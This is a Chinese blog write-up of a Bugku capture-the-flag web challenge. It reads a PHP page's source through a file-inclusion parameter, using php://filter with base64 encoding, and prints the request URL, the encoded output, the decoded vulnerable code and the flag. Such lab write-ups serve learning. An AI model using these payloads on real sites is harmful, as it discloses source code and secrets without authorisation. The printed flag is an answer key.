BUGKU-WEB-文件包含

解题思路

  • 你说啥我就干啥:点击一下试试

  • 你会想到PHP伪协议这方面去嘛,你有这方面的知识储备吗?

  • 看到?file=XXX.php,那不就是典型的文件包含吗?

  • 这里需要用的一个伪协议php://filter:是一种元封装器, 设计用于数据流打开时的筛选过滤应用。
    可以使用php://filter获取指定文件源码:

  • ?file=php://filter/resource=xxx.php

发现啥也没有显示,这是因为:

通常获取源代码时,伪协议将xxx.php当文件执行,使得很多信息往往不能直接显示在浏览器页面上,通常使用base64编码后再显示

?file=php://filter/convert.base64-encode/resource=index.php

convert.base64-encode:是一个过滤器,看到encode可以知道这是一个加密的过滤,那自然就有convert.base64-decode,解密了。简单来说就是:对数据流进行编码,通常用来读取文件源码。

这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。

这里对资源文件show.php进行加密了,所以显示:

aW5kZXgucGhw

加上==后进行base64解密就可以复现:(index.php)

现内容就是index.php,说明show.php没有隐藏信息。

所以同理,对index.php使用伪协议执行一下:

http://114.67.175.224:15954/?file=php://filter/convert.base64-encode/resource=index.php

可以看到一串很长的东西,但注意最后的==,必须下意识去解密看看:

77u/PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2M2ZjMwYWZiMDJkYmU2YTU5ODMzODZjNWQzZTA0MTJjfQ0KPz4NCjwvaHRtbD4NCg==

php 复制代码
<html>
    <title>Bugku-web</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:flag{c6f30afb02dbe6a5983386c5d3e0412c}
?>
</html>

可以看到注释有flag了

PS:

参考其他WP发现都使用了一个read=,这是啥?

可以看到,说是这个参数可以不选,在PHP伪协议中,read是一个用于读取文件内容的操作符。它可以与伪协议中的其他操作符结合使用,用于读取文件的特定部分或指定偏移量的内容。

使用read操作符时,你需要指定一个文件路径和一个长度参数。read操作符将返回指定长度的文件内容。

?file=php://filter/read=convert.base64-encode/resource=index.php

1

稍微解释下这个做法:

php://filter/ 是一种访问本地文件的协议

/read=convert.base64-encode/ 表示读取的方式是 base64 编码后

resource=index.php 表示目标文件为index.php。

问什么要进行 base64 编码呢?如果不进行 base64 编码传入,index.php 就会直接执行,我们就看不到文件中的内容了。

得到Flag

原文链接:https://blog.csdn.net/qq_36292543/article/details/136155292

相关推荐
qq_3643717244 分钟前
Vue 内置组件 keep-alive 中 LRU 缓存淘汰策略和实现
前端·vue.js·缓存
y先森2 小时前
CSS3中的弹性布局之侧轴的对齐方式
前端·css·css3
找藉口是失败者的习惯2 小时前
Jetpack Compose 如何布局解析
android·xml·ui
Estar.Lee6 小时前
查手机号归属地免费API接口教程
android·网络·后端·网络协议·tcp/ip·oneapi
温辉_xh7 小时前
uiautomator案例
android
y先森7 小时前
CSS3中的伸缩盒模型(弹性盒子、弹性布局)之伸缩容器、伸缩项目、主轴方向、主轴换行方式、复合属性flex-flow
前端·css·css3
前端Hardy7 小时前
纯HTML&CSS实现3D旋转地球
前端·javascript·css·3d·html
susu10830189117 小时前
vue3中父div设置display flex,2个子div重叠
前端·javascript·vue.js
工业甲酰苯胺8 小时前
MySQL 主从复制之多线程复制
android·mysql·adb
IT女孩儿8 小时前
CSS查缺补漏(补充上一条)
前端·css